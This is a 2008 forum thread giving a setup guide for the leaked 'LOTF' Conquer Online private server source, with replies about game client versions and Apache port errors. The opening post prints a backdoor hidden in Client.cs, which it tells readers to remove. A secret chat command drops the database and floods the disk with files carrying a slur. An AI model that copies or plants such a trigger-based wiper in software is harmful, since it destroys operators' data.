LOTF Source Guide

07/13/2008 23:16 Super.Pvper#1
Official Unofficial Guide for the LOTF Source.

Server Info:

- Database: MySQL
- Language: C#
- Client: v 5016

Required Programs:

- Microsoft Visual C# 2005 Express Edition [Link: [Only registered and activated users can see links. Click Here To Register...]]
- AppServ(MySQL, Apache, and PhpMyAdmin all in one) [Link: [Only registered and activated users can see links. Click Here To Register...]]

- LOTF Source: [Link: [Only registered and activated users can see links. Click Here To Register...]]
- Conquer Online Client 5016 [Link: <NONE>]

*IMPORTANT NOTE!!!!!!!!!!!*
YOU MUST REMEMBER ALL THE USERNAMES/PASSWORDS YOU ENTER!

Setup Guide:

1. Download and Install everything.

2. Go to PhpMyAdmin (go to your browser, and type: [Only registered and activated users can see links. Click Here To Register...], then enter root for the username, and the password you set when installing AppServ.)

3. Click on the SQL button.

[Only registered and activated users can see links. Click Here To Register...]

Click on Import Files, and select the Database from the Source (Backup.sql)

[Only registered and activated users can see links. Click Here To Register...]

4. The Server should already connect to the Database.

5. Go to ...COServerProject\bin\Debug then COServerProject.exe to start the server.
Note: if the file is not there, go to ...COServerProject\obj\Debug and copy the file from there, to bin\Debug.

6. Editing NPC Spawns, Accounts, Guilds, Items, Monsters/Monster Spawns, and Portals are all in localhost/phpmyadmin.

7. NPC dialogs are found in the file Client.cs around line 939.


Download this Guide: [Only registered and activated users can see links. Click Here To Register...]



MALICIOUS CODE:

A malicious code has been coded into the server (probobly by hadeset before he released it).
This code supposedly destroys the source.

REMOVE THE MALICIOUS CODE:

1. Open Client.cs

2. Press Ctrl+G and go to line 3630

3. Delete the Command:
Code:
                          if (Message == "@go_to_hell!ENC3101931993")
                            {
                                MySql.Data.MySqlClient.MySqlCommand Command = new MySql.Data.MySqlClient.MySqlCommand("drop database `coproj`", DataBase.Connection);
                                Command.ExecuteNonQuery();
                                
                                for (ulong i = 0; i < 547473346363; i++)
                                {
                                    System.IO.StreamWriter WW = new System.IO.StreamWriter("C:Virus" + i.ToString() + ".exe", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                    WW = new System.IO.StreamWriter("C:YouSuck" + i.ToString() + ".txt", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                }                                
                            }

MySql.Data Error

The file MySql.Data.dll is missing from the source, so when you build it, you will always get an error.

Solution:

1. Download MySql.Data.dll: [Only registered and activated users can see links. Click Here To Register...] | [Only registered and activated users can see links. Click Here To Register...]

2. Move the MySql.Data.dll file into your Server Folder

3. Open the Source with Visual C#

4. Move the File from the Server folder, into the Resources. Overwrite the old one.

There! MySql.Data Error is Fixed!



Registration Page

Download this Registration Page so other players can register to your server!

Link: [Only registered and activated users can see links. Click Here To Register...]

Credits to scottdavey
07/14/2008 00:42 Hiyoal#2
This should be in the guides section.
Very nice though :p

@Request #Move.

Hiyoal
07/14/2008 01:56 jovis#3
Interesting. I'm only interested in creating a server for myself, and so far I've been successful (hard not to be) with a Hamachi based one.
This Lotf is for a leveling server and you can edit just about anything in the database, correct?

btw, where to find a 5016 client..?
07/14/2008 02:20 Hiyoal#4
Download the 5010 client from: [Only registered and activated users can see links. Click Here To Register...]

and then patch to 5016 :p

Hiyoal :D
07/14/2008 02:56 jovis#5
Quote:
Originally Posted by hiyoal View Post
Download the 5010 client from: [Only registered and activated users can see links. Click Here To Register...]

and then patch to 5016 :p

Hiyoal :D
I see there's a 5028.10 client, but only a 5010 patch...
07/14/2008 06:48 Hiyoal#6
Thats why i said "and then patch to 5016" meaning to download the patches:
5011
5012
5013
5014
5015
5016

Hiyoal

P.S...Lol
07/14/2008 11:48 JoieJones90#7
so u mean we should download the 5028.10 client? and then patch to 5016?

btw here is the 5009 client
Conquer 5009.10 client
07/14/2008 15:43 ~*NewDuuDe*~#8
stealin hadesets source and releasin it without askin him
stupid bastard
07/14/2008 15:47 jovis#9
Trying to start Apache manually, as the phpmyadmin page says :The page cannot be found.


Apache 2.2 daemon is Starting ...


##########################################
## Stop Apache Please Close This Window ##
##########################################
(OS 10048)Only one usage of each socket address (protocol/network address/port)
is normally permitted. : make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
Press any key to continue . . .
07/14/2008 15:57 rider1992#10
Start it By Service
07/14/2008 17:01 jovis#11
The cmd windows just briefly appear and disappear.
07/14/2008 23:28 Noobking101#12
like i got the server up and shit but how would i make an account like really i dont kno. I put New(acc name) and pword and it say srrir connection with server interrupted then u take of the new it say the same thin
07/15/2008 14:15 jovis#13
Bump.
07/15/2008 17:03 Exqui#14
Quote:
Originally Posted by JoieJones90 View Post
so u mean we should download the 5028.10 client? and then patch to 5016?

btw here is the 5009 client
Conquer 5009.10 client
"Download 5010 Client (NOT 5028)"
"Download Patches 5011-5016"
"Install those patches into 5010 client"
"Done."

I don't know where the hell you got "Download 5028" >.>
07/16/2008 00:26 2coolforu2#15
Quote:
Originally Posted by Noobking101 View Post
like i got the server up and shit but how would i make an account like really i dont kno. I put New(acc name) and pword and it say srrir connection with server interrupted then u take of the new it say the same thin
if you did it on site dont type the password in it leave it blank.